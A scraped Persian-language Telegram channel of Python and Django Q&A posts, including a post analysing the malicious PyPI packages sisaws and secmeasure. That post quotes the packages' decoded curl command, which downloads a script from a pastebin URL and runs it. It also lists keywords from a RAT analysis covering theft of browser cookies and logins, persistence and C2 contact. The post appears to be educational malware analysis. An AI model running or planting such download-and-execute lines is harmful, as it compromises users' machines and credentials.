تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍
گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو بهطور جداگانه نگه داره تا با بقیه قاطی نشه.
🌌 @the_code_Verse 🪐
گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو بهطور جداگانه نگه داره تا با بقیه قاطی نشه.
🌌 @the_code_Verse 🪐
❤2👎1
Code Verse
تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍 گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache…
custom_descriptor.pdf
386.6 KB
جواب سوال ۶ پایتون
تعداد صفحه: ۷
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۷
کلید واژهها:
descriptor, __get__, __set__, __delete__, data descriptor, non-data descriptor, cls.__dict__, obj.__dict__, lookup in instance.attr #answer #python
🌌 @the_code_Verse 🪐
❤2👎1
6. تفاوت
#question #django
🌌 @the_code_Verse 🪐
get_queryset() و get_context_data() در class-based views چیست و هر کدام چه نقشی دارند؟#question #django
🌌 @the_code_Verse 🪐
❤4
میدونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری میکنن؟ 🤔⚡️
در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه میکنه. تفاوت این دو در اینه که یکی مسئول تأمین دادهی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.
🌌 @the_code_Verse 🪐
در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه میکنه. تفاوت این دو در اینه که یکی مسئول تأمین دادهی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.
🌌 @the_code_Verse 🪐
❤3👍1👎1
Code Verse
میدونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری میکنن؟ 🤔⚡️ در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه…
get_query_set_vs_get_context_data.pdf
295.5 KB
جواب سوال ۶ جنگو
تعداد صفحه: ۲
کلید واژهها:
#answer #django
🌌 @the_code_Verse 🪐
تعداد صفحه: ۲
کلید واژهها:
get_queryset, MultipleObjectMixin, SingleObjectMixin, get_context_data, ContextMixin#answer #django
🌌 @the_code_Verse 🪐
❤2
دوتا کتابخونه sisaws و secmeasure که هکرها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.
curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
❤4
Code Verse
دوتا کتابخونه sisaws و secmeasure که هکرها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد If a developer imports the sisaws package and invokes the gen_token function, the code…
about_sisaws.pdf
1012.9 KB
توضیحات کامل sisaws malware
تعداد صفحه: ۴۰
کلید واژهها:
🌌 @the_code_Verse 🪐
تعداد صفحه: ۴۰
کلید واژهها:
RAT, chromium Local State, browser History, browser Cookies, browser Login Data, daemonize, platform, subprocess, sys, os, pip Flag --quiet, shutil, HKEY_CURRENT_USER, crontab, winreg, winreg.KEY_SET_VALUE, winreg.REG_SZ, sys.executable, regedit, subprocess.DETACHED_PROCESS, os.setsid, os.umask, os.fork, C2 server, pyautogui.screenshot, tempfile, AES, DPAPI, Data Protection API, pywin32, v10, v20, nonce, ciphertext, plaintext, AES-GCM, confidentiality, integrity, 🌌 @the_code_Verse 🪐
❤3👎1
7. چگونه میتوان یک ماژول را طوری import کرد که قبل از دسترسی به آن، یک attribute اضافه شود؟
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
❤3👍1👎1
اگه موقع import کردن یه ماژول بتونی قبل از استفاده، ویژگی دلخواهت رو بهش بچسبونی چی؟ 🔥🐍
در پایتون فقط import ساده وجود نداره؛ میشه فرآیند import رو شخصیسازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، میتونیم یک attribute جدید بهش اضافه کنیم تا بعد از import کردن، همون ویژگی دلخواه از همون اول در دسترس باشه.
🌌 @the_code_Verse 🪐
در پایتون فقط import ساده وجود نداره؛ میشه فرآیند import رو شخصیسازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، میتونیم یک attribute جدید بهش اضافه کنیم تا بعد از import کردن، همون ویژگی دلخواه از همون اول در دسترس باشه.
🌌 @the_code_Verse 🪐
❤2
Code Verse
اگه موقع import کردن یه ماژول بتونی قبل از استفاده، ویژگی دلخواهت رو بهش بچسبونی چی؟ 🔥🐍 در پایتون فقط import ساده وجود نداره؛ میشه فرآیند import رو شخصیسازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، میتونیم یک attribute جدید بهش اضافه کنیم تا بعد…
import_attribute.pdf
440.5 KB
جواب سوال ۷ پایتون
تعداد صفحه: ۵
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۵
کلید واژهها:
sys.modules, finders, loaders, Monkey patching, MetaPathFinder, Path hooks, PathEntryFinder, builtins.__import__, meta_path#answer #python
🌌 @the_code_Verse 🪐
👍4
7. مکانیزم مدیریت transactionها در Django چگونه کار میکند و چه زمانی باید از
#question #django
🌌 @the_code_Verse 🪐
atomic() استفاده کرد؟#question #django
🌌 @the_code_Verse 🪐
👍3👎1
میدونی توی Django تراکنشها چطور مدیریت میشن و چه وقت باید سراغ atomic رفت؟ ⚡️💾
جنگو برای حفظ یکپارچگی دادهها از سیستم transaction پایگاهداده استفاده میکنه. این مکانیزم باعث میشه مجموعهای از عملیات یا همه با هم انجام بشن یا هیچکدوم. وقتی میخوای چند query رو تضمین کنی که یا کامل موفق بشن یا در صورت خطا همه برگردن، باید از atomic() استفاده کنی.
🌌 @the_code_Verse 🪐
جنگو برای حفظ یکپارچگی دادهها از سیستم transaction پایگاهداده استفاده میکنه. این مکانیزم باعث میشه مجموعهای از عملیات یا همه با هم انجام بشن یا هیچکدوم. وقتی میخوای چند query رو تضمین کنی که یا کامل موفق بشن یا در صورت خطا همه برگردن، باید از atomic() استفاده کنی.
🌌 @the_code_Verse 🪐
❤4